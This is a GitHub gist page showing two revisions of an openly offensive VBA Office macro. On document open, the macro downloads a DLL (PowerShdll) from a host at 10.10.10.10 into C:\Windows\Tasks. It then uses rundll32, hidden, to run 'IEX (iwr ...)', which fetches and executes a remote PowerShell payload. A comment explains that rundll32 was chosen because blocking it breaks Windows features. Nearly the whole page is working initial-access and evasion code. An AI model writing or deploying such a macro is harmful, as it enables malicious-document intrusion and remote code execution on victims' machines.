Skip to content

Instantly share code, notes, and snippets.

@nani1337

nani1337/macro_download_and_execute_rundll32_powershdll_powershell.vba

Forked from egre55/macro_download_and_execute_rundll32_powershdll_powershell.vba
Created December 21, 2022 00:36
Show Gist options
  • Save nani1337/cf71231f0745e9f1f70fe21786d1db82 to your computer and use it in GitHub Desktop.
Save nani1337/cf71231f0745e9f1f70fe21786d1db82 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @egre55 egre55 revised this gist Jul 31, 2018. 1 changed file with 3 additions and 0 deletions.
    3 changes: 3 additions & 0 deletions macro_download_and_execute_rundll32_powershdll_powershell.vba
    View file
    Original file line number Diff line number Diff line change
    @@ -3,6 +3,9 @@
    '
    ' PowerShdll.dll by @p3nt4
    ' https://github.com/p3nt4/PowerShdll
    '
    ' rundll32 is a good candidate as blocking this abuse binary impacts certain Windows functionality - RDP/Office right-click
    ' shortcuts, and "run-as" a non-privileged user (perhaps a functionality edge-case)

    Sub Document_Open()
    Dim WinHttpReq As Object
  2. @egre55 egre55 created this gist Jul 31, 2018.
    32 changes: 32 additions & 0 deletions macro_download_and_execute_rundll32_powershdll_powershell.vba
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,32 @@
    ' based on
    ' https://stackoverflow.com/questions/17877389/how-do-i-download-a-file-using-vba-without-internet-explorer
    '
    ' PowerShdll.dll by @p3nt4
    ' https://github.com/p3nt4/PowerShdll

    Sub Document_Open()
    Dim WinHttpReq As Object
    Dim oStream As Object
    Dim myURL As String
    Dim LocalFilePath As String

    myURL = "http://10.10.10.10/Powershdll.dll"
    LocalFilePath = "C:\Windows\Tasks\Powershdll.dll"

    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    WinHttpReq.Open "GET", myURL, False, "", "" '("username", "password")
    WinHttpReq.send

    If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile LocalFilePath, 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
    End If

    Dim ExecFile As Double
    ExecFile = Shell("rundll32 C:\Windows\Tasks\Powershdll.dll,main . IEX (iwr -useb http://10.10.10.10/encoded.txt)", vbHide)

    End Sub